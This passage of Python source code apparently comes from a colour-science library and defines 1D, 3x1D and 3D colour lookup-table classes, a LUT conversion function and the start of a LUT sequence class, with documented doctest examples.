numeric!'\n\n return np.linspace(domain[0], domain[1], size)\n\n def apply(self,\n RGB,\n interpolator=LinearInterpolator,\n interpolator_args=None):\n \"\"\"\n Applies the *LUT* to given *RGB* colourspace array using given method.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* onto.\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n\n Returns\n -------\n ndarray\n Interpolated *RGB* colourspace array.\n\n Examples\n --------\n >>> LUT = LUT1D(LUT1D.linear_table() ** (1 / 2.2))\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.4529220..., 0.4529220..., 0.4529220...])\n \"\"\"\n\n if interpolator_args is None:\n interpolator_args = {}\n\n if self.is_domain_explicit():\n samples = self.domain\n else:\n domain_min, domain_max = self.domain\n\n samples = np.linspace(domain_min, domain_max, self._table.size)\n\n RGB_interpolator = interpolator(samples, self._table,\n **interpolator_args)\n\n return RGB_interpolator(RGB)\n\n def as_LUT(self, cls, force_conversion=False, **kwargs):\n \"\"\"\n Converts the *LUT* to given ``cls`` class instance.\n\n Parameters\n ----------\n cls : LUT1D or LUT3x1D or LUT3D\n *LUT* class instance.\n force_conversion : bool, optional\n Whether to force the conversion as it might be destructive.\n\n Other Parameters\n ----------------\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n size : int, optional\n Expected table size in case of an upcast to a :class:`LUT3D` class\n instance.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D\n Converted *LUT* class instance.\n\n Warning\n -------\n Some conversions are destructive and raise a :class:`ValueError`\n exception by default.\n\n Raises\n ------\n ValueError\n If the conversion is destructive.\n\n Examples\n --------\n >>> LUT = LUT1D()\n >>> print(LUT.as_LUT(LUT1D))\n LUT1D - Unity 10 - Converted 1D to 1D\n -------------------------------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n >>> print(LUT.as_LUT(LUT3x1D))\n LUT3x1D - Unity 10 - Converted 1D to 3x1D\n -----------------------------------------\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (10, 3)\n >>> print(LUT.as_LUT(LUT3D, force_conversion=True))\n LUT3D - Unity 10 - Converted 1D to 3D\n -------------------------------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (33, 33, 33, 3)\n \"\"\"\n\n return LUT_to_LUT(self, cls, force_conversion, **kwargs)\n\n\nclass LUT3x1D(AbstractLUT):\n \"\"\"\n Defines the base class for a 3x1D *LUT*.\n\n Parameters\n ----------\n table : array_like, optional\n Underlying *LUT* table.\n name : unicode, optional\n *LUT* name.\n domain : unicode, optional\n *LUT* domain, also used to define the instantiation time default table\n domain.\n size : int, optional\n Size of the instantiation time default table.\n comments : array_like, optional\n Comments to add to the *LUT*.\n\n Methods\n -------\n is_domain_explicit\n linear_table\n apply\n as_LUT\n\n Examples\n --------\n Instantiating a unity LUT with a table with 16x3 elements:\n\n >>> print(LUT3x1D(size=16))\n LUT3x1D - Unity 16\n ------------------\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (16, 3)\n\n Instantiating a LUT using a custom table with 16x3 elements:\n\n >>> print(LUT3x1D(LUT3x1D.linear_table(16) ** (1 / 2.2)))\n ... # doctest: +ELLIPSIS\n LUT3x1D - ...\n ----------...\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (16, 3)\n\n Instantiating a LUT using a custom table with 16x3 elements, custom name,\n custom domain and comments:\n\n >>> from colour.algebra import spow\n >>> domain = np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]])\n >>> print(LUT3x1D(\n ... spow(LUT3x1D.linear_table(16), 1 / 2.2),\n ... 'My LUT',\n ... domain,\n ... comments=['A first comment.', 'A second comment.']))\n LUT3x1D - My LUT\n ----------------\n \n Dimensions : 2\n Domain : [[-0.1 -0.2 -0.4]\n [ 1.5 3. 6. ]]\n Size : (16, 3)\n Comment 01 : A first comment.\n Comment 02 : A second comment.\n \"\"\"\n\n def __init__(self,\n table=None,\n name=None,\n domain=None,\n size=10,\n comments=None):\n if domain is None:\n domain = np.array([[0, 0, 0], [1, 1, 1]])\n\n super(LUT3x1D, self).__init__(table, name, 2, domain, size, comments)\n\n def _validate_table(self, table):\n \"\"\"\n Validates given table is a 3x1D array.\n\n Parameters\n ----------\n table : array_like\n Table to validate.\n\n Returns\n -------\n ndarray\n Validated table as a :class:`ndarray` instance.\n \"\"\"\n\n table = as_float_array(table)\n\n assert len(table.shape) == 2, 'The table must be a 2D array!'\n\n return table\n\n def _validate_domain(self, domain):\n \"\"\"\n Validates given domain.\n\n Parameters\n ----------\n domain : array_like\n Domain to validate.\n\n Returns\n -------\n ndarray\n Validated domain as a :class:`ndarray` instance.\n \"\"\"\n\n domain = as_float_array(domain)\n\n assert len(domain.shape) == 2, 'The domain must be a 2D array!'\n\n assert domain.shape[0] >= 2, (\n 'The domain row count must be equal or greater than 2!')\n\n assert domain.shape[1] == 3, (\n 'The domain column count must be equal to 3!')\n\n return domain\n\n def is_domain_explicit(self):\n \"\"\"\n Returns whether the *LUT* domain is explicit (or implicit).\n\n An implicit domain is defined by its shape only::\n\n [[0 1]\n [0 1]\n [0 1]]\n\n While an explicit domain defines every single discrete samples::\n\n [[0.0 0.0 0.0]\n [0.1 0.1 0.1]\n [0.2 0.2 0.2]\n [0.3 0.3 0.3]\n [0.4 0.4 0.4]\n [0.8 0.8 0.8]\n [1.0 1.0 1.0]]\n\n Returns\n -------\n bool\n Is *LUT* domain explicit.\n\n Examples\n --------\n >>> LUT3x1D().is_domain_explicit()\n False\n >>> samples = np.linspace(0, 1, 10)\n >>> table = domain = tstack([samples, samples, samples])\n >>> LUT3x1D(table, domain=domain).is_domain_explicit()\n True\n \"\"\"\n\n return self.domain.shape != (2, 3)\n\n # pylint: disable=W0221\n @staticmethod\n def linear_table(size=10, domain=np.array([[0, 0, 0], [1, 1, 1]])):\n \"\"\"\n Returns a linear table, the number of output samples :math:`n` is equal\n to ``size * 3`` or ``size[0] + size[1] + size[2]``.\n\n Parameters\n ----------\n size : int or array_like, optional\n Expected table size.\n domain : array_like, optional\n Domain of the table.\n\n Returns\n -------\n ndarray\n Linear table with ``size * 3`` or ``size[0] + size[1] + size[2]``\n samples.\n\n Warnings\n --------\n If ``size`` is non uniform, the linear table will be padded\n accordingly.\n\n Examples\n --------\n >>> LUT3x1D.linear_table(\n ... 5, np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]]))\n array([[-0.1, -0.2, -0.4],\n [ 0.3, 0.6, 1.2],\n [ 0.7, 1.4, 2.8],\n [ 1.1, 2.2, 4.4],\n [ 1.5, 3. , 6. ]])\n >>> LUT3x1D.linear_table(\n ... np.array([5, 3, 2]),\n ... np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]]))\n array([[-0.1, -0.2, -0.4],\n [ 0.3, 1.4, 6. ],\n [ 0.7, 3. , nan],\n [ 1.1, nan, nan],\n [ 1.5, nan, nan]])\n >>> domain = np.array([[-0.1, -0.2, -0.4],\n ... [0.3, 1.4, 6.0],\n ... [0.7, 3.0, np.nan],\n ... [1.1, np.nan, np.nan],\n ... [1.5, np.nan, np.nan]])\n >>> LUT3x1D.linear_table(domain=domain)\n array([[-0.1, -0.2, -0.4],\n [ 0.3, 1.4, 6. ],\n [ 0.7, 3. , nan],\n [ 1.1, nan, nan],\n [ 1.5, nan, nan]])\n \"\"\"\n\n domain = as_float_array(domain)\n\n if domain.shape != (2, 3):\n return domain\n else:\n if is_numeric(size):\n size = np.tile(size, 3)\n\n R, G, B = tsplit(domain)\n\n samples = [\n np.linspace(a[0], a[1], size[i])\n for i, a in enumerate([R, G, B])\n ]\n\n if not len(np.unique(size)) == 1:\n runtime_warning('Table is non uniform, axis will be '\n 'padded with \"NaNs\" accordingly!')\n\n samples = [\n np.pad(\n axis, (0, np.max(size) - len(axis)),\n mode='constant',\n constant_values=np.nan) for axis in samples\n ]\n\n return tstack(samples)\n\n def apply(self,\n RGB,\n interpolator=LinearInterpolator,\n interpolator_args=None):\n \"\"\"\n Applies the *LUT* to given *RGB* colourspace array using given method.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* onto.\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n\n Returns\n -------\n ndarray\n Interpolated *RGB* colourspace array.\n\n Examples\n --------\n >>> LUT = LUT3x1D(LUT3x1D.linear_table() ** (1 / 2.2))\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.4529220..., 0.4529220..., 0.4529220...])\n >>> from colour.algebra import spow\n >>> domain = np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]])\n >>> table = spow(LUT3x1D.linear_table(domain=domain), 1 / 2.2)\n >>> LUT = LUT3x1D(table, domain=domain)\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.4423903..., 0.4503801..., 0.3581625...])\n >>> domain = np.array([[-0.1, -0.2, -0.4],\n ... [0.3, 1.4, 6.0],\n ... [0.7, 3.0, np.nan],\n ... [1.1, np.nan, np.nan],\n ... [1.5, np.nan, np.nan]])\n >>> table = spow(LUT3x1D.linear_table(domain=domain), 1 / 2.2)\n >>> LUT = LUT3x1D(table, domain=domain)\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.2996370..., -0.0901332..., -0.3949770...])\n \"\"\"\n\n if interpolator_args is None:\n interpolator_args = {}\n\n R, G, B = tsplit(RGB)\n\n if self.is_domain_explicit():\n samples = [\n axes[:(~np.isnan(axes)).cumsum().argmax() + 1]\n for axes in np.transpose(self.domain)\n ]\n R_t, G_t, B_t = [\n axes[:len(samples[i])]\n for i, axes in enumerate(np.transpose(self._table))\n ]\n else:\n domain_min, domain_max = self.domain\n size = DEFAULT_INT_DTYPE(self._table.size / 3)\n samples = [\n np.linspace(domain_min[i], domain_max[i], size)\n for i in range(3)\n ]\n\n R_t, G_t, B_t = tsplit(self._table)\n\n s_R, s_G, s_B = samples\n\n RGB_i = [\n interpolator(a[0], a[1], **interpolator_args)(a[2])\n for a in zip((s_R, s_G, s_B), (R_t, G_t, B_t), (R, G, B))\n ]\n\n return tstack(RGB_i)\n\n def as_LUT(self, cls, force_conversion=False, **kwargs):\n \"\"\"\n Converts the *LUT* to given ``cls`` class instance.\n\n Parameters\n ----------\n cls : LUT1D or LUT3x1D or LUT3D\n *LUT* class instance.\n force_conversion : bool, optional\n Whether to force the conversion as it might be destructive.\n\n Other Parameters\n ----------------\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n size : int, optional\n Expected table size in case of an upcast to a :class:`LUT3D` class\n instance.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D\n Converted *LUT* class instance.\n\n Warning\n -------\n Some conversions are destructive and raise a :class:`ValueError`\n exception by default.\n\n Raises\n ------\n ValueError\n If the conversion is destructive.\n\n Examples\n --------\n >>> LUT = LUT3x1D()\n >>> print(LUT.as_LUT(LUT1D, force_conversion=True))\n LUT1D - Unity 10 - Converted 3x1D to 1D\n ---------------------------------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n >>> print(LUT.as_LUT(LUT3x1D))\n LUT3x1D - Unity 10 - Converted 3x1D to 3x1D\n -------------------------------------------\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (10, 3)\n >>> print(LUT.as_LUT(LUT3D, force_conversion=True))\n LUT3D - Unity 10 - Converted 3x1D to 3D\n ---------------------------------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (33, 33, 33, 3)\n \"\"\"\n\n return LUT_to_LUT(self, cls, force_conversion, **kwargs)\n\n\nclass LUT3D(AbstractLUT):\n \"\"\"\n Defines the base class for a 3D *LUT*.\n\n Parameters\n ----------\n table : array_like, optional\n Underlying *LUT* table.\n name : unicode, optional\n *LUT* name.\n domain : unicode, optional\n *LUT* domain, also used to define the instantiation time default table\n domain.\n size : int, optional\n Size of the instantiation time default table.\n comments : array_like, optional\n Comments to add to the *LUT*.\n\n Methods\n -------\n is_domain_explicit\n linear_table\n apply\n as_LUT\n\n Examples\n --------\n Instantiating a unity LUT with a table with 16x16x16x3 elements:\n\n >>> print(LUT3D(size=16))\n LUT3D - Unity 16\n ----------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (16, 16, 16, 3)\n\n Instantiating a LUT using a custom table with 16x16x16x3 elements:\n\n >>> print(LUT3D(LUT3D.linear_table(16) ** (1 / 2.2))) # doctest: +ELLIPSIS\n LUT3D - ...\n --------...\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (16, 16, 16, 3)\n\n Instantiating a LUT using a custom table with 16x16x16x3 elements, custom\n name, custom domain and comments:\n\n >>> from colour.algebra import spow\n >>> domain = np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]])\n >>> print(LUT3D(\n ... spow(LUT3D.linear_table(16), 1 / 2.2),\n ... 'My LUT',\n ... domain,\n ... comments=['A first comment.', 'A second comment.']))\n LUT3D - My LUT\n --------------\n \n Dimensions : 3\n Domain : [[-0.1 -0.2 -0.4]\n [ 1.5 3. 6. ]]\n Size : (16, 16, 16, 3)\n Comment 01 : A first comment.\n Comment 02 : A second comment.\n \"\"\"\n\n def __init__(self,\n table=None,\n name=None,\n domain=None,\n size=33,\n comments=None):\n if domain is None:\n domain = np.array([[0, 0, 0], [1, 1, 1]])\n\n super(LUT3D, self).__init__(table, name, 3, domain, size, comments)\n\n def _validate_table(self, table):\n \"\"\"\n Validates given table is a 4D array and that its dimensions are equal.\n\n Parameters\n ----------\n table : array_like\n Table to validate.\n\n Returns\n -------\n ndarray\n Validated table as a :class:`ndarray` instance.\n \"\"\"\n\n table = as_float_array(table)\n\n assert len(table.shape) == 4, 'The table must be a 4D array!'\n\n return table\n\n def _validate_domain(self, domain):\n \"\"\"\n Validates given domain.\n\n Parameters\n ----------\n domain : array_like\n Domain to validate.\n\n Returns\n -------\n ndarray\n Validated domain as a :class:`ndarray` instance.\n\n Notes\n -----\n - A :class:`LUT3D` class instance must use an implicit domain.\n \"\"\"\n\n domain = as_float_array(domain)\n\n assert len(domain.shape) == 2, 'The domain must be a 2D array!'\n\n assert domain.shape[0] >= 2, (\n 'The domain row count must be equal or greater than 2!')\n\n assert domain.shape[1] == 3, (\n 'The domain column count must be equal to 3!')\n\n return domain\n\n def is_domain_explicit(self):\n \"\"\"\n Returns whether the *LUT* domain is explicit (or implicit).\n\n An implicit domain is defined by its shape only::\n\n [[0 0 0]\n [1 1 1]]\n\n While an explicit domain defines every single discrete samples::\n\n [[0.0 0.0 0.0]\n [0.1 0.1 0.1]\n [0.2 0.2 0.2]\n [0.3 0.3 0.3]\n [0.4 0.4 0.4]\n [0.8 0.8 0.8]\n [1.0 1.0 1.0]]\n\n Returns\n -------\n bool\n Is *LUT* domain explicit.\n\n Examples\n --------\n >>> LUT3D().is_domain_explicit()\n False\n >>> domain = np.array([[-0.1, -0.2, -0.4],\n ... [0.7, 1.4, 6.0],\n ... [1.5, 3.0, np.nan]])\n >>> LUT3D(domain=domain).is_domain_explicit()\n True\n \"\"\"\n\n return self.domain.shape != (2, 3)\n\n # pylint: disable=W0221\n @staticmethod\n def linear_table(size=33, domain=np.array([[0, 0, 0], [1, 1, 1]])):\n \"\"\"\n Returns a linear table, the number of output samples :math:`n` is equal\n to ``size**3 * 3`` or ``size[0] * size[1] * size[2] * 3``.\n\n Parameters\n ----------\n size : int or array_like, optional\n Expected table size.\n domain : array_like, optional\n Domain of the table.\n\n Returns\n -------\n ndarray\n Linear table with ``size**3 * 3`` or\n ``size[0] * size[1] * size[2] * 3`` samples.\n\n Examples\n --------\n >>> LUT3D.linear_table(\n ... 3, np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]]))\n array([[[[-0.1, -0.2, -0.4],\n [-0.1, -0.2, 2.8],\n [-0.1, -0.2, 6. ]],\n \n [[-0.1, 1.4, -0.4],\n [-0.1, 1.4, 2.8],\n [-0.1, 1.4, 6. ]],\n \n [[-0.1, 3. , -0.4],\n [-0.1, 3. , 2.8],\n [-0.1, 3. , 6. ]]],\n \n \n [[[ 0.7, -0.2, -0.4],\n [ 0.7, -0.2, 2.8],\n [ 0.7, -0.2, 6. ]],\n \n [[ 0.7, 1.4, -0.4],\n [ 0.7, 1.4, 2.8],\n [ 0.7, 1.4, 6. ]],\n \n [[ 0.7, 3. , -0.4],\n [ 0.7, 3. , 2.8],\n [ 0.7, 3. , 6. ]]],\n \n \n [[[ 1.5, -0.2, -0.4],\n [ 1.5, -0.2, 2.8],\n [ 1.5, -0.2, 6. ]],\n \n [[ 1.5, 1.4, -0.4],\n [ 1.5, 1.4, 2.8],\n [ 1.5, 1.4, 6. ]],\n \n [[ 1.5, 3. , -0.4],\n [ 1.5, 3. , 2.8],\n [ 1.5, 3. , 6. ]]]])\n >>> LUT3D.linear_table(\n ... np.array([3, 3, 2]),\n ... np.array([[-0.1, -0.2, -0.4], [1.5, 3.0, 6.0]]))\n array([[[[-0.1, -0.2, -0.4],\n [-0.1, -0.2, 6. ]],\n \n [[-0.1, 1.4, -0.4],\n [-0.1, 1.4, 6. ]],\n \n [[-0.1, 3. , -0.4],\n [-0.1, 3. , 6. ]]],\n \n \n [[[ 0.7, -0.2, -0.4],\n [ 0.7, -0.2, 6. ]],\n \n [[ 0.7, 1.4, -0.4],\n [ 0.7, 1.4, 6. ]],\n \n [[ 0.7, 3. , -0.4],\n [ 0.7, 3. , 6. ]]],\n \n \n [[[ 1.5, -0.2, -0.4],\n [ 1.5, -0.2, 6. ]],\n \n [[ 1.5, 1.4, -0.4],\n [ 1.5, 1.4, 6. ]],\n \n [[ 1.5, 3. , -0.4],\n [ 1.5, 3. , 6. ]]]])\n >>> domain = np.array([[-0.1, -0.2, -0.4],\n ... [0.7, 1.4, 6.0],\n ... [1.5, 3.0, np.nan]])\n >>> LUT3D.linear_table(domain=domain)\n array([[[[-0.1, -0.2, -0.4],\n [-0.1, -0.2, 6. ]],\n \n [[-0.1, 1.4, -0.4],\n [-0.1, 1.4, 6. ]],\n \n [[-0.1, 3. , -0.4],\n [-0.1, 3. , 6. ]]],\n \n \n [[[ 0.7, -0.2, -0.4],\n [ 0.7, -0.2, 6. ]],\n \n [[ 0.7, 1.4, -0.4],\n [ 0.7, 1.4, 6. ]],\n \n [[ 0.7, 3. , -0.4],\n [ 0.7, 3. , 6. ]]],\n \n \n [[[ 1.5, -0.2, -0.4],\n [ 1.5, -0.2, 6. ]],\n \n [[ 1.5, 1.4, -0.4],\n [ 1.5, 1.4, 6. ]],\n \n [[ 1.5, 3. , -0.4],\n [ 1.5, 3. , 6. ]]]])\n \"\"\"\n\n domain = as_float_array(domain)\n\n if domain.shape != (2, 3):\n samples = np.flip([\n axes[:(~np.isnan(axes)).cumsum().argmax() + 1]\n for axes in np.transpose(domain)\n ], -1)\n size = [len(axes) for axes in samples]\n else:\n if is_numeric(size):\n size = np.tile(size, 3)\n\n R, G, B = tsplit(domain)\n\n size = np.flip(size, -1)\n samples = [\n np.linspace(a[0], a[1], size[i])\n for i, a in enumerate([B, G, R])\n ]\n\n table = np.meshgrid(*samples, indexing='ij')\n table = np.flip(\n np.transpose(table).reshape(np.hstack([np.flip(size, -1), 3])), -1)\n\n return table\n\n def apply(self,\n RGB,\n interpolator=table_interpolation_trilinear,\n interpolator_args=None):\n \"\"\"\n Applies the *LUT* to given *RGB* colourspace array using given method.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* onto.\n interpolator : object, optional\n Interpolator object to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when calling the interpolating function.\n\n Returns\n -------\n ndarray\n Interpolated *RGB* colourspace array.\n\n Examples\n --------\n >>> LUT = LUT3D(LUT3D.linear_table() ** (1 / 2.2))\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.4583277..., 0.4583277..., 0.4583277...])\n >>> from colour.algebra import spow\n >>> domain = np.array([[-0.1, -0.2, -0.4],\n ... [0.3, 1.4, 6.0],\n ... [0.7, 3.0, np.nan],\n ... [1.1, np.nan, np.nan],\n ... [1.5, np.nan, np.nan]])\n >>> table = spow(LUT3D.linear_table(domain=domain), 1 / 2.2)\n >>> LUT = LUT3D(table, domain=domain)\n >>> RGB = np.array([0.18, 0.18, 0.18])\n >>> LUT.apply(RGB) # doctest: +ELLIPSIS\n array([ 0.2996370..., -0.0901332..., -0.3949770...])\n \"\"\"\n\n if interpolator_args is None:\n interpolator_args = {}\n\n R, G, B = tsplit(RGB)\n\n if self.is_domain_explicit():\n domain_min = self.domain[0, ...]\n domain_max = [\n axes[:(~np.isnan(axes)).cumsum().argmax() + 1][-1]\n for axes in np.transpose(self.domain)\n ]\n usage_warning(\n '\"LUT\" was defined with an explicit domain but requires '\n 'an implicit domain to be applied. The following domain '\n 'will be used: {0}'.format(\n np.vstack([domain_min, domain_max])))\n else:\n domain_min, domain_max = self.domain\n\n RGB_l = [\n linear_conversion(j, (domain_min[i], domain_max[i]), (0, 1))\n for i, j in enumerate((R, G, B))\n ]\n\n return interpolator(tstack(RGB_l), self._table, **interpolator_args)\n\n def as_LUT(self, cls, force_conversion=False, **kwargs):\n \"\"\"\n Converts the *LUT* to given ``cls`` class instance.\n\n Parameters\n ----------\n cls : LUT1D or LUT3x1D or LUT3D\n *LUT* class instance.\n force_conversion : bool, optional\n Whether to force the conversion as it might be destructive.\n\n Other Parameters\n ----------------\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n size : int, optional\n Expected table size in case of a downcast from a :class:`LUT3D`\n class instance.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D\n Converted *LUT* class instance.\n\n Warning\n -------\n Some conversions are destructive and raise a :class:`ValueError`\n exception by default.\n\n Raises\n ------\n ValueError\n If the conversion is destructive.\n\n Examples\n --------\n >>> LUT = LUT3D()\n >>> print(LUT.as_LUT(LUT1D, force_conversion=True))\n LUT1D - Unity 33 - Converted 3D to 1D\n -------------------------------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n >>> print(LUT.as_LUT(LUT3x1D, force_conversion=True))\n LUT3x1D - Unity 33 - Converted 3D to 3x1D\n -----------------------------------------\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (10, 3)\n >>> print(LUT.as_LUT(LUT3D))\n LUT3D - Unity 33 - Converted 3D to 3D\n -------------------------------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (33, 33, 33, 3)\n \"\"\"\n\n return LUT_to_LUT(self, cls, force_conversion, **kwargs)\n\n\ndef LUT_to_LUT(LUT, cls, force_conversion=False, **kwargs):\n \"\"\"\n Converts given *LUT* to given ``cls`` class instance.\n\n Parameters\n ----------\n cls : LUT1D or LUT3x1D or LUT3D\n *LUT* class instance.\n force_conversion : bool, optional\n Whether to force the conversion as it might be destructive.\n\n Other Parameters\n ----------------\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n size : int, optional\n Expected table size in case of an upcast to or a downcast from a\n :class:`LUT3D` class instance.\n channel_weights : array_like, optional\n Channel weights in case of a downcast from a :class:`LUT3x1D` or\n :class:`LUT3D` class instance.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D\n Converted *LUT* class instance.\n\n Warning\n -------\n Some conversions are destructive and raise a :class:`ValueError` exception\n by default.\n\n Raises\n ------\n ValueError\n If the conversion is destructive.\n\n Examples\n --------\n >>> print(LUT_to_LUT(LUT1D(), LUT3D, force_conversion=True))\n LUT3D - Unity 10 - Converted 1D to 3D\n -------------------------------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (33, 33, 33, 3)\n >>> print(LUT_to_LUT(LUT3x1D(), LUT1D, force_conversion=True))\n LUT1D - Unity 10 - Converted 3x1D to 1D\n ---------------------------------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n >>> print(LUT_to_LUT(LUT3D(), LUT1D, force_conversion=True))\n LUT1D - Unity 33 - Converted 3D to 1D\n -------------------------------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n \"\"\"\n\n ranks = {LUT1D: 1, LUT3x1D: 2, LUT3D: 3}\n path = (ranks[LUT.__class__], ranks[cls])\n path_verbose = [\n '{0}D'.format(element) if element != 2 else '3x1D' for element in path\n ]\n if path in ((1, 3), (2, 1), (2, 3), (3, 1), (3, 2)):\n if not force_conversion:\n raise ValueError(\n 'Conversion of a \"LUT\" {0} to a \"LUT\" {1} is destructive, '\n 'please use the \"force_conversion\" argument to proceed.'.\n format(*path_verbose))\n\n suffix = ' - Converted {0} to {1}'.format(*path_verbose)\n name = '{0}{1}'.format(LUT.name, suffix)\n\n # Same dimension conversion, returning a copy.\n if len(set(path)) == 1:\n LUT = LUT.copy()\n LUT.name = name\n else:\n size = kwargs.get('size', 33 if cls is LUT3D else 10)\n if 'size' in kwargs:\n del kwargs['size']\n\n channel_weights = as_float_array(\n kwargs.get('channel_weights', np.full(3, 1 / 3)))\n if 'channel_weights' in kwargs:\n del kwargs['channel_weights']\n\n # TODO: Implement support for non-uniform domain, e.g. \"cinespace\"\n # LUTs.\n if isinstance(LUT, LUT1D):\n if cls is LUT3x1D:\n domain = tstack([LUT.domain, LUT.domain, LUT.domain])\n table = tstack([LUT.table, LUT.table, LUT.table])\n elif cls is LUT3D:\n domain = tstack([LUT.domain, LUT.domain, LUT.domain])\n table = LUT3D.linear_table(size, domain)\n table = LUT.apply(table, **kwargs)\n elif isinstance(LUT, LUT3x1D):\n if cls is LUT1D:\n domain = np.array([\n np.sum(LUT.domain[0, ...] * channel_weights),\n np.sum(LUT.domain[-1, ...] * channel_weights)\n ])\n table = np.sum(LUT.table * channel_weights, axis=-1)\n elif cls is LUT3D:\n domain = LUT.domain\n table = LUT3D.linear_table(size, domain)\n table = LUT.apply(table, **kwargs)\n elif isinstance(LUT, LUT3D):\n if cls is LUT1D:\n domain = np.array([\n np.sum(LUT.domain[0, ...] * channel_weights),\n np.sum(LUT.domain[-1, ...] * channel_weights)\n ])\n table = LUT1D.linear_table(size, domain)\n table = LUT.apply(tstack([table, table, table]), **kwargs)\n table = np.sum(table * channel_weights, axis=-1)\n elif cls is LUT3x1D:\n domain = LUT.domain\n table = LUT3x1D.linear_table(size, domain)\n table = LUT.apply(table, **kwargs)\n\n LUT = cls(table, name, domain, table.shape[0], LUT.comments)\n\n return LUT\n\n\n@add_metaclass(ABCMeta)\nclass AbstractLUTSequenceOperator:\n \"\"\"\n Defines the base class for *LUT* sequence operators.\n\n This is an :class:`ABCMeta` abstract class that must be inherited by\n sub-classes.\n\n Methods\n -------\n apply\n \"\"\"\n\n @abstractmethod\n def apply(self, RGB, *args):\n \"\"\"\n Applies the *LUT* sequence operator to given *RGB* colourspace array.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* sequence operator onto.\n\n Returns\n -------\n ndarray\n Processed *RGB* colourspace array.\n \"\"\"\n\n pass\n\n\nclass LUTSequence(MutableSequence):\n \"\"\"\n Defines the base class for a *LUT* sequence, i.e. a series of *LUTs*.\n\n The `colour.LUTSequence` class can be used to model series of *LUTs* such\n as when a shaper *LUT* is combined with a 3D *LUT*.\n\n Other Parameters\n ----------------\n \\\\*args : list, optional\n Sequence of `colour.LUT1D`, `colour.LUT3x1D`, `colour.LUT3D` or\n `colour.io.lut.l.AbstractLUTSequenceOperator` class instances.\n\n Attributes\n ----------\n sequence\n\n Methods\n -------\n __getitem__\n __setitem__\n __delitem__\n __len__\n __str__\n __repr__\n __eq__\n __ne__\n insert\n apply\n copy\n\n Examples\n --------\n >>> LUT_1 = LUT1D()\n >>> LUT_2 = LUT3D(size=3)\n >>> LUT_3 = LUT3x1D()\n >>> print(LUTSequence(LUT_1, LUT_2, LUT_3))\n LUT Sequence\n ------------\n \n Overview\n \n LUT1D ---> LUT3D ---> LUT3x1D\n \n Operations\n \n LUT1D - Unity 10\n ----------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (10,)\n \n LUT3D - Unity 3\n ---------------\n \n Dimensions : 3\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (3, 3, 3, 3)\n \n LUT3x1D - Unity 10\n ------------------\n \n Dimensions : 2\n Domain : [[ 0. 0. 0.]\n [ 1. 1. 1.]]\n Size : (10, 3)\n \"\"\"\n\n def __init__(self, *args):\n for arg in args:\n assert isinstance(\n arg, (LUT1D, LUT3x1D, LUT3D, AbstractLUTSequenceOperator)), (\n '\"args\" elements must be instances of \"LUT1D\", '\n '\"LUT3x1D\", \"LUT3D\" or 